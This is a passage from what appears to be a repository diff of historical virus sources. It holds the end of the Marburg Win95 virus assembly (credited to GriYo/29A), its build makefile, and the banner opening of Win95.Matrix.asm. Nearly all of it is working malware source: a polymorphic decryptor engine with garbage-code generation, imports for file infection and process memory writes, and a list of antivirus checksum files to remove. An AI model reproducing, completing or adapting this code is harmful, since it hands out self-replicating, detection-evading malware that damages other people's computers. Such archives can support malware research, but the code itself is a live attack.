;Choose generator for [reg+reg+imm] indexing mode + + mov edx,offset tbl_paranoia + call choose_magic + jmp short done_xtended + +ok_complex: mov eax,dword ptr [ebp+ptr_disp] + call load_aux + push ebx + call gen_garbage + + ;Choose generator for [reg+reg] indexing mode + + mov edx,offset tbl_xtended + call choose_magic + +done_xtended: ;Build decryptor instructions + + call size_correct + pop ebx + mov dl,byte ptr [ebp+index_mask] + lodsb + mov cl,al + or al,al + jnz arn_reg_01 + cmp dl,00000101b + jne arn_reg_01 + lodsb + add al,40h + stosb + jmp short arn_reg_02 +arn_reg_01: movsb +arn_reg_02: mov al,byte ptr [ebx+REG_MASK] + shl al,03h + or al,dl + stosb + or cl,cl + jnz arn_reg_03 + cmp dl,00000101b + jne arn_reg_03 + xor al,al + stosb + +arn_reg_03: ;Restore aux reg state + + xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + +common_part: ;Get post-build flags + + lodsb + + ;Insert displacement from real address? + + test al,MAGIC_PUTDISP + jz skip_disp + push eax + mov eax,dword ptr [ebp+ptr_disp] + neg eax + stosd + pop eax + +skip_disp: ;Insert key? + + test al,MAGIC_PUTKEY + jz skip_key + call copy_key + +skip_key: ;Generate reverse code + + call do_reverse + + ret + +;············································································ +;Choose a magic generator +;············································································ + +choose_magic: mov eax,00000006h + call get_rnd_range + add edx,ebp + lea esi,dword ptr [edx+eax*04h] + lodsd + add eax,ebp + mov esi,eax + ret + +;············································································ +;Do operand size correction +;············································································ + +size_correct: lodsb + mov ah,byte ptr [ebp+oper_size] + cmp ah,01h + je store_correct + inc al + cmp ah,04h + je store_correct + mov ah,66h + xchg ah,al + stosw + ret +store_correct: stosb + ret + +;············································································ +;Load aux reg with displacement +;············································································ + +load_aux: ;Get a valid auxiliary register + + push eax + call get_valid_reg + or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + + ;Move displacement into aux reg + + mov al,0B8h + or al,byte ptr [ebx+REG_MASK] + stosb + pop eax + neg eax + stosd + ret + +;············································································ +;Generate crypt-code +;············································································ + +do_reverse: xor eax,eax + mov al,byte ptr [ebp+oper_size] + shr eax,01h + shl eax,02h + add esi,eax + lodsd + add eax,ebp + mov esi,eax + push edi + lea edi,dword ptr [ebp+perform_crypt] +loop_string: lodsb + cmp al,MAGIC_ENDSTR + je end_of_magic + cmp al,MAGIC_ENDKEY + je last_spell + xor ecx,ecx + mov cl,al + rep movsb + jmp short loop_string +last_spell: call copy_key +end_of_magic: mov al,0C3h + stosb + pop edi + ret + +;············································································ +;Copy encryption key into work buffer taking care about operand size +;············································································ + +copy_key: mov eax,dword ptr [ebp+crypt_key] + xor ecx,ecx + mov cl,byte ptr [ebp+oper_size] +loop_key: stosb + shr eax,08h + loop loop_key + ret + +;············································································ +;Generate decryptor action: Move index to next step +;············································································ + +gen_next_step: ;Get number of bytes to inc or dec the index reg + + xor ecx,ecx + mov cl,byte ptr [ebp+oper_size] + +loop_update: ;Get number of bytes to update with this instruction + + mov eax,ecx + call get_rnd_range + inc eax + + ;Check direction + + test byte ptr [ebp+build_flags],CRYPT_DIRECTION + jnz step_down + + call do_step_up + jmp short next_update + +step_down: call do_step_down + +next_update: sub ecx,eax + jecxz end_update + jmp short loop_update +end_update: ret + +do_step_up: ;Move index_reg up + + or eax,eax + jz up_with_inc + + ;Now choose ADD or SUB + + push eax + call get_rnd32 + and al,01h + jnz try_sub_1 + +try_add_1: mov ax,0C081h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + stosd + ret + +try_sub_1: mov ax,0E881h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + neg eax + stosd + neg eax + ret + +up_with_inc: ;Generate INC reg_index + + mov al,40h + or al,byte ptr [ebp+index_mask] + stosb + mov eax,00000001h + ret + +do_step_down: ;Move index_reg down + + or eax,eax + jz down_with_dec + + ;Now choose ADD or SUB + + push eax + call get_rnd32 + and al,01h + jnz try_sub_2 + +try_add_2: mov ax,0C081h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + neg eax + stosd + neg eax + ret + +try_sub_2: mov ax,0E881h + or ah,byte ptr [ebp+index_mask] + stosw + pop eax + stosd + ret + +down_with_dec: ;Generate DEC reg_index + + mov al,48h + or al,byte ptr [ebp+index_mask] + stosb + mov eax,00000001h + ret + +;············································································ +;Generate decryptor action: Next counter value +;············································································ + +gen_next_ctr: ;Check counter direction and update counter + ;using a INC or DEC instruction + + test byte ptr [ebp+build_flags],CRYPT_CDIR + jnz upd_ctr_down +upd_ctr_up: mov al,40h + or al,byte ptr [ebp+counter_mask] + jmp short upd_ctr_ok +upd_ctr_down: mov al,48h + or al,byte ptr [ebp+counter_mask] +upd_ctr_ok: stosb + ret + +;············································································ +;Generate decryptor action: Loop +;············································································ + +gen_loop: ;Use counter reg in CMP instruction? + + test byte ptr [ebp+build_flags],CRYPT_CMPCTR + jnz doloopauxreg + + ;Generate CMP counter_reg,end_value + + mov ax,0F881h + or ah,byte ptr [ebp+counter_mask] + stosw + mov eax,dword ptr [ebp+end_value] + stosd + + jmp doloopready + +doloopauxreg: ;Get a random valid register to use in a CMP instruction + + call get_valid_reg + or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + + ;Move index reg value into aux reg + + mov ah,byte ptr [ebx+REG_MASK] + shl ah,03h + or ah,byte ptr [ebp+counter_mask] + or ah,0C0h + mov al,8Bh + stosw + + ;Guess what!? + + push ebx + call gen_garbage + pop ebx + + ;Generate CMP aux_reg,end_value + + mov ax,0F881h + or ah,byte ptr [ebx+REG_MASK] + stosw + mov eax,dword ptr [ebp+end_value] + stosd + + ;Restore aux reg state + + xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY + +doloopready: ;Generate the following structure: + ; + ; loop_point: + ; ... + ; cmp reg,x + ; jne loop_point + ; ... + ; jmp virus + ; ... + + mov ax,850Fh + stosw + mov eax,dword ptr [ebp+loop_point] + sub eax,edi + sub eax,00000004h + stosd + ret + +;············································································ +;Generate some garbage code +;············································································ + +gen_garbage: ;More recursive levels allowed? + + inc byte ptr [ebp+recursive_level] + cmp byte ptr [ebp+recursive_level],03h + jae exit_gg + + ;Well, we can call this routine from lots of places + ;in the virus, so take care about direction flag + + cld + + ;Choose garbage generator + + mov eax,00000003h + call get_rnd_range + inc eax + mov ecx,eax +loop_garbage: push ecx + mov eax,(end_garbage-tbl_garbage)/04h + call get_rnd_range + lea esi,dword ptr [ebp+tbl_garbage+eax*04h] + lodsd + add eax,ebp + call eax + pop ecx + loop loop_garbage + + ;Update recursive level + +exit_gg: dec byte ptr [ebp+recursive_level] + ret + +;············································································ +;Generate MOV reg,imm +;············································································ + +g_movreg32imm: ;Generate MOV reg32,imm + + call get_valid_reg + mov al,0B8h + or al,byte ptr [ebx+REG_MASK] + stosb + call get_rnd32 + stosd + ret + +g_movreg16imm: ;Generate MOV reg16,imm + + call get_valid_reg + mov ax,0B866h + or ah,byte ptr [ebx+REG_MASK] + stosw + call get_rnd32 + stosw + ret + +g_movreg8imm: ;Generate MOV reg8,imm + + call get_valid_reg + test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT + jnz a_movreg8imm + call get_rnd32 + mov al,0B0h + or al,byte ptr [ebx+REG_MASK] + push eax + call get_rnd32 + pop edx + and ax,0004h + or ax,dx + stosw +a_movreg8imm: ret + + +;············································································ +;Generate mov reg,reg +;············································································ + +g_movregreg32: call get_rnd_reg + push ebx + call get_valid_reg + pop edx + cmp ebx,edx + je a_movregreg32 +c_movregreg32: mov ah,byte ptr [ebx+REG_MASK] + shl ah,03h + or ah,byte ptr [edx+REG_MASK] + or ah,0C0h + mov al,8Bh + stosw +a_movregreg32: ret + +g_movregreg16: call get_rnd_reg + push ebx + call get_valid_reg + pop edx + cmp ebx,edx + je a_movregreg32 + mov al,66h + stosb + jmp short c_movregreg32 + +g_movregreg8: call get_rnd_reg + test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT + jnz a_movregreg8 + push ebx + call get_valid_reg + pop edx + test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT + jnz a_movregreg8 + cmp ebx,edx + je a_movregreg8 + mov ah,byte ptr [ebx+REG_MASK] + shl ah,03h + or ah,byte ptr [edx+REG_MASK] + or ah,0C0h + mov al,8Ah + push eax + call get_rnd32 + pop edx + and ax,2400h + or ax,dx + stosw +a_movregreg8: ret + +;············································································ +;Generate MOVZX/MOVSX reg32,reg16 +;············································································ + +g_movzx_movsx: call get_rnd32 + mov ah,0B7h + and al,01h + jz d_movzx + mov ah,0BFh +d_movzx: mov al,0Fh + stosw + call get_rnd_reg + push ebx + call get_valid_reg + pop edx + mov al,byte ptr [ebx+REG_MASK] + shl al,03h + or al,0C0h + or al,byte ptr [edx+REG_MASK] + stosb + ret + +;············································································ +;Generate ADD/SUB/XOR/OR/AND reg,imm +;············································································ + +g_mathregimm32: mov al,81h + stosb + call get_valid_reg + call do_math_work + stosd + ret + +g_mathregimm16: mov ax,8166h + stosw + call get_valid_reg + call do_math_work + stosw + ret + +g_mathregimm8: call get_valid_reg + test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT + jnz a_math8 + mov al,80h + stosb + call do_math_work + stosb + and ah,04h + or byte ptr [edi-00000002h],ah +a_math8: ret + +do_math_work: mov eax,end_math_imm-tbl_math_imm + call get_rnd_range + lea esi,dword ptr [ebp+eax+tbl_math_imm] + lodsb + or al,byte ptr [ebx+REG_MASK] + stosb + call get_rnd32 + ret + +;············································································ +;Generate push reg + garbage + pop reg +;············································································ + +g_push_g_pop: ;Note that garbage generator can call itself in a + ;recursive way, so structures like the following + ;example can be produced + ; + ; push reg_1 + ; ... + ; push reg_2 + ; ... + ; pop reg_2 + ; ... + ; pop reg_1 + ; + + call get_rnd_reg + mov al,50h + or al,byte ptr [ebx+REG_MASK] + stosb + call gen_garbage + call get_valid_reg + mov al,58h + or al,byte ptr [ebx+REG_MASK] + stosb + ret + +;············································································ +;Generate unconditional jumps +;············································································ + +g_jump_u: mov al,0E9h + stosb + push edi + stosd + call gen_rnd_block + pop edx + mov eax,edi + sub eax,edx + sub eax,00000004h + mov dword ptr [edx],eax + ret + +;············································································ +;Generate conditional jumps +;············································································ + +g_jump_c: call get_rnd32 + and ah,0Fh + add ah,80h + mov al,0Fh + stosw + push edi + stosd + call gen_garbage + pop edx + mov eax,edi + sub eax,edx + sub eax,00000004h + mov dword ptr [edx],eax + ret + +;············································································ +;Generate one byte garbage code that does not change reg values +;············································································ + +gen_save_code: mov eax,end_save_code-tbl_save_code + call get_rnd_range + mov al,byte ptr [ebp+tbl_save_code+eax] + stosb + ret + +;············································································ +;Initialize register table +;············································································ + +init_poly: ;We can call this routine from lots of places, so + ;take care about direction flag + + cld + + ;Initialize random number generator + ;Use current day + hour as seed + + mov eax,dword ptr [ebp+time_day] + mov dword ptr [ebp+rnd32_seed],eax + + ;Initialize register table + + lea esi,dword ptr [ebp+tbl_startup] + lea edi,dword ptr [ebp+tbl_regs+REG_FLAGS] + mov ecx,00000007h +loop_init_regs: movsb + inc edi + loop loop_init_regs + + ;Clear recursive level counter + + mov dword ptr [ebp+recursive_level],ecx + + ret + +;············································································ +;Get a ramdom reg +;············································································ + +get_rnd_reg: mov eax,00000007h + call get_rnd_range + lea ebx,dword ptr [ebp+tbl_regs+eax*02h] + ret + +;············································································ +;Get a ramdom reg (avoid REG_READ_ONLY, REG_IS_COUNTER and REG_IS_INDEX) +;············································································ + +get_valid_reg: call get_rnd_reg + mov al,byte ptr [ebx+REG_FLAGS] + and al,REG_IS_INDEX or REG_IS_COUNTER or REG_READ_ONLY + jnz get_valid_reg + ret + +;············································································ +;Load ecx with crypt_size / oper_size +;············································································ + +fixed_size2ecx: mov eax,inf_size-DECRYPTOR_SIZE + xor ecx,ecx + mov cl,byte ptr [ebp+oper_size] + shr ecx,01h + or ecx,ecx + jz ok_2ecx + shr eax,cl + jnc ok_2ecx + inc eax +ok_2ecx: mov ecx,eax + ret + +;············································································ +;Generate a block of random data +;············································································ + +gen_rnd_block: ;Generate up to 27 random bytes + + mov eax,00000004h + mov ecx,eax + call get_rnd_range + add ecx,eax + cld + +rnd_fill_loop: ;Fill loop, get random dword + + call get_rnd32 + stosd + loop rnd_fill_loop + ret + +;············································································ +;Linear congruent pseudorandom number generator +;············································································ + +get_rnd32: push ecx + push edx + mov eax,dword ptr [ebp+rnd32_seed] + mov ecx,eax + imul eax,41C64E6Dh + add eax,00003039h + mov dword ptr [ebp+rnd32_seed],eax + xor eax,ecx + pop edx + pop ecx + ret + +;············································································ +;Returns a random num between 0 and entry eax +;············································································ + +get_rnd_range: push ecx + push edx + mov ecx,eax + call get_rnd32 + xor edx,edx + div ecx + mov eax,edx + pop edx + pop ecx + ret + +;············································································ + + ;Virus initialized data + + ;Copyright notice + + db "[ Marburg ViRuS BioCoded by GriYo/29A ]" + + ;Array of RVAs to function names + +viral_functions equ this byte + + dd offset szCreateFileA + dd offset szCreateFileMap + dd offset szMapViewOfFile + dd offset szUnmapView + dd offset szCloseHandle + dd offset szFindFirst + dd offset szFindNext + dd offset szFindClose + dd offset szVirtualAlloc + dd offset szGetWinDir + dd offset szGetSysDir + dd offset szGetCurDir + dd offset szSetFileAttr + dd offset szSetFileTime + dd offset szDeleteFile + dd offset szGetCurProc + dd offset szWriteProcMem + dd offset szLoadLibrary + dd offset szGetSysTime + +viral_tbl_end equ this byte + + ;Names of modules used by the virus + +szKernel32 db "KERNEL32.dll",00h +szUSER32 db "USER32.dll",00h + + ;Kernel32 APIs used by the virus + +szGetModuleH db "GetModuleHandleA",00h +szGetProcAddr db "GetProcAddress",00h +szCreateFileA db "CreateFileA",00h +szCreateFileMap db "CreateFileMappingA",00h +szMapViewOfFile db "MapViewOfFile",00h +szUnmapView db "UnmapViewOfFile",00h +szCloseHandle db "CloseHandle",00h +szFindFirst db "FindFirstFileA",00h +szFindNext db "FindNextFileA",00h +szFindClose db "FindClose",00h +szVirtualAlloc db "VirtualAlloc",00h +szGetWinDir db "GetWindowsDirectoryA",00h +szGetSysDir db "GetSystemDirectoryA",00h +szGetCurDir db "GetCurrentDirectoryA",00h +szSetFileAttr db "SetFileAttributesA",00h +szSetFileTime db "SetFileTime",00h +szDeleteFile db "DeleteFileA",00h +szGetCurProc db "GetCurrentProcess",00h +szWriteProcMem db "WriteProcessMemory",00h +szLoadLibrary db "LoadLibraryA",00h +szGetSysTime db "GetSystemTime",00h + + ;User32 APIs used by the virus + +szGetDC db "GetDC",00h +szLoadIcon db "LoadIconA",00h +szDrawIcon db "DrawIcon",00h + + ;Names of AV checksum files + +tbl_AV_files equ this byte + + dd offset szAvData_00 + dd offset szAvData_01 + dd offset szAvData_02 + dd offset szAvData_03 + +end_AV_files equ this byte + +szAvData_00 db "ANTI-VIR.DAT",00h +szAvData_01 db "CHKLIST.MS",00h +szAvData_02 db "AVP.CRC",00h +szAvData_03 db "IVB.NTZ",00h + + ;Search mask for FindFirstFile and FindNextFile + +szSearch db "*.*",00h + + ;Infection time + +inf_time equ this byte + +inf_year dw 0000h +inf_month dw 0000h +inf_dayofweek dw 0000h +inf_day dw 0000h +inf_hour dw 0000h +inf_minute dw 0000h +inf_second dw 0000h +inf_millisec dw 0000h + + ;Number of bytes to restore at host entry-point + +insert_size dd 00000000h + + ;Initialized data used by the polymorphic engine + + ;Register table + ; + ; - Register mask + ; - Register flags + +tbl_regs equ this byte + + db 00000000b,REG_READ_ONLY ;eax + db 00000011b,00h ;ebx + db 00000001b,00h ;ecx + db 00000010b,00h ;edx + db 00000110b,REG_NO_8BIT ;esi + db 00000111b,REG_NO_8BIT ;edi + db 00000101b,REG_NO_8BIT ;ebp + +end_regs equ this byte + + ;Aliases for reg table structure + +REG_MASK equ 00h +REG_FLAGS equ 01h + + ;Bit aliases for reg flags + +REG_IS_INDEX equ 01h +REG_IS_COUNTER equ 02h +REG_READ_ONLY equ 04h +REG_NO_8BIT equ 08h + + ;Initial reg flags + +tbl_startup equ this byte + + db REG_READ_ONLY ;eax + db 00h ;ebx + db 00h ;ecx + db 00h ;edx + db REG_NO_8BIT ;esi + db REG_NO_8BIT ;edi + db REG_NO_8BIT ;ebp + + ;Code that does not disturb reg values + +tbl_save_code equ this byte + + clc + stc + cmc + cld + std + +end_save_code equ this byte + + ;Generators for get_delta + +tbl_delta_mode equ this byte + + dd offset delta_method_1 + dd offset delta_method_2 + dd offset delta_method_3 + +end_delta_mode equ this byte + + ;Generators for [reg] indexing mode + +tbl_idx_reg equ this byte + + dd offset xx_inc_reg + dd offset xx_dec_reg + dd offset xx_not_reg + dd offset xx_add_reg + dd offset xx_sub_reg + dd offset xx_xor_reg + + ;Generators for [reg+imm] indexing mode + +tbl_dis_reg equ this byte + + dd offset yy_inc_reg + dd offset yy_dec_reg + dd offset yy_not_reg + dd offset yy_add_reg + dd offset yy_sub_reg + dd offset yy_xor_reg + + ;Generators for [reg+reg] indexing mode + +tbl_xtended equ this byte + + dd offset zz_inc_reg + dd offset zz_dec_reg + dd offset zz_not_reg + dd offset zz_add_reg + dd offset zz_sub_reg + dd offset zz_xor_reg + + ;Generators for [reg+reg+imm] indexing mode + +tbl_paranoia equ this byte + + dd offset ii_inc_reg + dd offset ii_dec_reg + dd offset ii_not_reg + dd offset ii_add_reg + dd offset ii_sub_reg + dd offset ii_xor_reg + + ;Opcodes for math reg,imm + +tbl_math_imm equ this byte + + db 0C0h ;add + db 0C8h ;or + db 0E0h ;and + db 0E8h ;sub + db 0F0h ;xor + db 0D0h ;adc + db 0D8h ;sbb + +end_math_imm equ this byte + + ;Magic aliases + +MAGIC_PUTKEY equ 01h +MAGIC_PUTDISP equ 02h +MAGIC_ENDSTR equ 0FFh +MAGIC_ENDKEY equ 0FEh +MAGIC_CAREEBP equ 00h +MAGIC_NOTEBP equ 0FFh + + ;Magic data + +xx_inc_reg db 0FEh + db MAGIC_CAREEBP + db 00h + db 00h + dd offset x_inc_reg_byte + dd offset x_inc_reg_word + dd offset x_inc_reg_dword + +xx_dec_reg db 0FEh + db MAGIC_CAREEBP + db 08h + db 00h + dd offset x_dec_reg_byte + dd offset x_dec_reg_word + dd offset x_dec_reg_dword + +xx_not_reg db 0F6h + db MAGIC_CAREEBP + db 10h + db 00h + dd offset x_not_reg_byte + dd offset x_not_reg_word + dd offset x_not_reg_dword + +xx_add_reg db 80h + db MAGIC_CAREEBP + db 00h + db MAGIC_PUTKEY + dd offset x_add_reg_byte + dd offset x_add_reg_word + dd offset x_add_reg_dword + +xx_sub_reg db 80h + db MAGIC_CAREEBP + db 28h + db MAGIC_PUTKEY + dd offset x_sub_reg_byte + dd offset x_sub_reg_word + dd offset x_sub_reg_dword + +xx_xor_reg db 80h + db MAGIC_CAREEBP + db 30h + db MAGIC_PUTKEY + dd offset x_xor_reg_byte + dd offset x_xor_reg_word + dd offset x_xor_reg_dword + +yy_inc_reg db 0FEh + db MAGIC_NOTEBP + db 80h + db MAGIC_PUTDISP + dd offset x_inc_reg_byte + dd offset x_inc_reg_word + dd offset x_inc_reg_dword + +yy_dec_reg db 0FEh + db MAGIC_NOTEBP + db 88h + db MAGIC_PUTDISP + dd offset x_dec_reg_byte + dd offset x_dec_reg_word + dd offset x_dec_reg_dword + +yy_not_reg db 0F6h + db MAGIC_NOTEBP + db 90h + db MAGIC_PUTDISP + dd offset x_not_reg_byte + dd offset x_not_reg_word + dd offset x_not_reg_dword + +yy_add_reg db 80h + db MAGIC_NOTEBP + db 80h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_add_reg_byte + dd offset x_add_reg_word + dd offset x_add_reg_dword + +yy_sub_reg db 80h + db MAGIC_NOTEBP + db 0A8h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_sub_reg_byte + dd offset x_sub_reg_word + dd offset x_sub_reg_dword + +yy_xor_reg db 80h + db MAGIC_NOTEBP + db 0B0h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_xor_reg_byte + dd offset x_xor_reg_word + dd offset x_xor_reg_dword + +zz_inc_reg db 0FEh + db MAGIC_CAREEBP + db 04h + db 00h + dd offset x_inc_reg_byte + dd offset x_inc_reg_word + dd offset x_inc_reg_dword + +zz_dec_reg db 0FEh + db MAGIC_CAREEBP + db 0Ch + db 00h + dd offset x_dec_reg_byte + dd offset x_dec_reg_word + dd offset x_dec_reg_dword + +zz_not_reg db 0F6h + db MAGIC_CAREEBP + db 14h + db 00h + dd offset x_not_reg_byte + dd offset x_not_reg_word + dd offset x_not_reg_dword + +zz_add_reg db 80h + db MAGIC_CAREEBP + db 04h + db MAGIC_PUTKEY + dd offset x_add_reg_byte + dd offset x_add_reg_word + dd offset x_add_reg_dword + +zz_sub_reg db 80h + db MAGIC_CAREEBP + db 2Ch + db MAGIC_PUTKEY + dd offset x_sub_reg_byte + dd offset x_sub_reg_word + dd offset x_sub_reg_dword + +zz_xor_reg db 80h + db MAGIC_CAREEBP + db 34h + db MAGIC_PUTKEY + dd offset x_xor_reg_byte + dd offset x_xor_reg_word + dd offset x_xor_reg_dword + +ii_inc_reg db 0FEh + db MAGIC_NOTEBP + db 84h + db MAGIC_PUTDISP + dd offset x_inc_reg_byte + dd offset x_inc_reg_word + dd offset x_inc_reg_dword + +ii_dec_reg db 0FEh + db MAGIC_NOTEBP + db 8Ch + db MAGIC_PUTDISP + dd offset x_dec_reg_byte + dd offset x_dec_reg_word + dd offset x_dec_reg_dword + +ii_not_reg db 0F6h + db MAGIC_NOTEBP + db 94h + db MAGIC_PUTDISP + dd offset x_not_reg_byte + dd offset x_not_reg_word + dd offset x_not_reg_dword + +ii_add_reg db 80h + db MAGIC_NOTEBP + db 84h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_add_reg_byte + dd offset x_add_reg_word + dd offset x_add_reg_dword + +ii_sub_reg db 80h + db MAGIC_NOTEBP + db 0ACh + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_sub_reg_byte + dd offset x_sub_reg_word + dd offset x_sub_reg_dword + +ii_xor_reg db 80h + db MAGIC_NOTEBP + db 0B4h + db MAGIC_PUTKEY or MAGIC_PUTDISP + dd offset x_xor_reg_byte + dd offset x_xor_reg_word + dd offset x_xor_reg_dword + + ;Reverse-code strings + +x_inc_reg_byte db 02h,0FEh,0C8h,MAGIC_ENDSTR +x_inc_reg_word db 02h,66h,48h,MAGIC_ENDSTR +x_inc_reg_dword db 01h,48h,MAGIC_ENDSTR +x_dec_reg_byte db 02h,0FEh,0C0h,MAGIC_ENDSTR +x_dec_reg_word db 02h,66h,40h,MAGIC_ENDSTR +x_dec_reg_dword db 01h,40h,MAGIC_ENDSTR +x_not_reg_byte db 02h,0F6h,0D0h,MAGIC_ENDSTR +x_not_reg_word db 03h,66h,0F7h,0D0h,MAGIC_ENDSTR +x_not_reg_dword db 02h,0F7h,0D0h,MAGIC_ENDSTR +x_add_reg_byte db 01h,2Ch,MAGIC_ENDKEY +x_add_reg_word db 02h,66h,2Dh,MAGIC_ENDKEY +x_add_reg_dword db 01h,2Dh,MAGIC_ENDKEY +x_sub_reg_byte db 01h,04h,MAGIC_ENDKEY +x_sub_reg_word db 02h,66h,05h,MAGIC_ENDKEY +x_sub_reg_dword db 01h,05h,MAGIC_ENDKEY +x_xor_reg_byte db 01h,34h,MAGIC_ENDKEY +x_xor_reg_word db 02h,66h,35h,MAGIC_ENDKEY +x_xor_reg_dword db 01h,35h,MAGIC_ENDKEY + + ;Decryptor styles + +tbl_styles equ this byte + + dd offset style_gen_1 + dd offset style_gen_2 + dd offset style_gen_3 + dd offset style_gen_4 + dd offset style_gen_5 + dd offset style_gen_6 + +end_styles equ this byte + +style_gen_1 dd offset gen_get_delta + dd offset gen_fix_ptr + dd offset gen_load_ctr + dd offset gen_decrypt + dd offset gen_next_step + dd offset gen_next_ctr + dd offset gen_loop + +style_gen_2 dd offset gen_get_delta + dd offset gen_load_ctr + dd offset gen_fix_ptr + dd offset gen_decrypt + dd offset gen_next_step + dd offset gen_next_ctr + dd offset gen_loop + +style_gen_3 dd offset gen_load_ctr + dd offset gen_get_delta + dd offset gen_fix_ptr + dd offset gen_decrypt + dd offset gen_next_step + dd offset gen_next_ctr + dd offset gen_loop + +style_gen_4 dd offset gen_get_delta + dd offset gen_fix_ptr + dd offset gen_load_ctr + dd offset gen_decrypt + dd offset gen_next_ctr + dd offset gen_next_step + dd offset gen_loop + +style_gen_5 dd offset gen_get_delta + dd offset gen_load_ctr + dd offset gen_fix_ptr + dd offset gen_decrypt + dd offset gen_next_ctr + dd offset gen_next_step + dd offset gen_loop + +style_gen_6 dd offset gen_load_ctr + dd offset gen_get_delta + dd offset gen_fix_ptr + dd offset gen_decrypt + dd offset gen_next_ctr + dd offset gen_next_step + dd offset gen_loop + + ;Garbage code generators + +tbl_garbage equ this byte + + dd offset gen_save_code ;clc stc cmc cld std + dd offset g_movreg32imm ;mov reg32,imm + dd offset g_movreg16imm ;mov reg16,imm + dd offset g_movreg8imm ;mov reg8,imm + dd offset g_movregreg32 ;mov reg32,reg32 + dd offset g_movregreg16 ;mov reg16,reg16 + dd offset g_movregreg8 ;mov reg8,reg8 + dd offset g_mathregimm32 ;math reg32,imm + dd offset g_mathregimm16 ;math reg16,imm + dd offset g_mathregimm8 ;math reg8,imm + dd offset g_push_g_pop ;push reg/garbage/pop reg + dd offset g_jump_u ;jump/rnd block + dd offset g_jump_c ;jump conditional/garbage + dd offset g_movzx_movsx ;movzx/movsx reg32,reg16 + +end_garbage equ this byte + + ;Original code at host entry point + +entry_code db BUFFER_EP dup (00h) + + ;Polymorphic procedures works with byte/word/dword + ;We let here a dword to avoid buffer overwrites + +safety_01 dd 00000000h + + ;Polymorphic decryptor buffer + +poly_decryptor db DECRYPTOR_SIZE dup (00h) + +inf_end equ this byte + +;············································································ + + ;Virus uninitialized data + +a_Kernel32 dd 00000000h +a_User32 dd 00000000h +a_GetModuleH dd 00000000h +a_GetProcAddr dd 00000000h + + ;API entry point for each viral function + +viral_addresses equ this byte + +a_CreateFile dd 00000000h +a_CreateFileMap dd 00000000h +a_MapViewOfFile dd 00000000h +a_UnmapView dd 00000000h +a_CloseHandle dd 00000000h +a_FindFirst dd 00000000h +a_FindNext dd 00000000h +a_FindClose dd 00000000h +a_VirtualAlloc dd 00000000h +a_GetWindowsDir dd 00000000h +a_GetSystemDir dd 00000000h +a_GetCurDir dd 00000000h +a_SetFileAttr dd 00000000h +a_SetFileTime dd 00000000h +a_DeleteFile dd 00000000h +a_GetCurProc dd 00000000h +a_WriteProcMem dd 00000000h +a_LoadLibrary dd 00000000h +a_GetSysTime dd 00000000h + + ;Misc variables + +CreateFile_h dd 00000000h +Mapping_h dd 00000000h +Search_h dd 00000000h +File_Attr dd 00000000h +search_raw dd 00000000h +original_size dd 00000000h +h_icon dd 00000000h +dc_screen dd 00000000h + + ;Data used by the polymorphic engine + +rnd32_seed dd 00000000h ;Seed for random number generator +ptr_disp dd 00000000h ;Displacement from index +end_value dd 00000000h ;Index end value +delta_call dd 00000000h ;Used into delta_offset routines +loop_point dd 00000000h ;Start address of decryption loop +crypt_key dd 00000000h ;Encryption key +oper_size db 00h ;Size used (1=Byte 2=Word 4=Dword) +index_mask db 00h ;Mask of register used as index +counter_mask db 00h ;Mask of register used as counter +build_flags db 00h ;Some decryptor flags +recursive_level db 00h ;Garbage recursive layer + + ;Decryptor flags aliases + +CRYPT_DIRECTION equ 01h +CRYPT_CMPCTR equ 02h +CRYPT_CDIR equ 04h +CRYPT_SIMPLEX equ 10h +CRYPT_COMPLEX equ 20h + + ;Buffer to convert file time to system time + +my_system_time equ this byte + +time_year dw 0000h +time_month dw 0000h +time_dayofweek dw 0000h +time_day dw 0000h +time_hour dw 0000h +time_minute dw 0000h +time_seconds dw 0000h +time_milisec dw 0000h + + ;Buffer for \WINDOWS and \SYSTEM directories + +szWorkDir db MAX_PATH dup (00h) + + ;Data about found files + +my_FindData db SIZEOF_WIN32_FIND_DATA dup (00h) + + ;This will be the place for the virus copy + +mem_end equ this byte + +;············································································ + +virseg ends + + end host_entry + +;············································································ + +-------->8 cut here --------------------------------------------------------- + +# Marburg makefile + +# make -B Will build wap32.exe +# make -B -DDEBUG Will build the debug version of wap32.exe + +NAME = WAP32 +OBJS = $(NAME).obj +ASMS = $(NAME).asm + +!if $d(DEBUG) +TASMPARAM= /ml /m5 /la /zi +TLINKPARAM= -Tpe -c -s -v -ap +!else +TASMPARAM= /ml /m5 /q /zn +TLINKPARAM= -Tpe -c -x -ap +!endif + +!if $d(MAKEDIR) +IMPORT=$(MAKEDIR)\..\lib\import32 +!else +IMPORT=import32 +!endif + + +$(NAME).EXE: $(OBJS) $(DEF) + tlink32 $(TLINKPARAM) $(OBJS),$(NAME),, $(IMPORT) + +.asm.obj: + tasm32 $(TASMPARAM) $(ASMS) diff --git a/LegacyWindows/Win95.Matrix.asm b/LegacyWindows/Win95.Matrix.asm new file mode 100644 index 00000000..8ccfb46f --- /dev/null +++ b/LegacyWindows/Win95.Matrix.asm @@ -0,0 +1,2482 @@ +comment + +released + +ϊ ΔΝΔΝΝΝΝΔΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΔϊΔΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΔΝΝΝΔΝΔ ϊ + άάάάά ° + ΫΫΫΫ ° ίίίί ΫΫΫΫίΫΫΫ ΫΫΫΫίΫΫΫΫ ΫΫΫΫ ΫΫΫΫώίίίί ΫΫΫΫίΫΫΫΫ ΫΫΫΫίΫΫΫΫ2000 + ° ²ΫΫΫ ° ΫΫΫΫ ²ΫΫΫά ° ΫΫΫΫώ ΫΫΫΫ ° ²ΫΫΫ 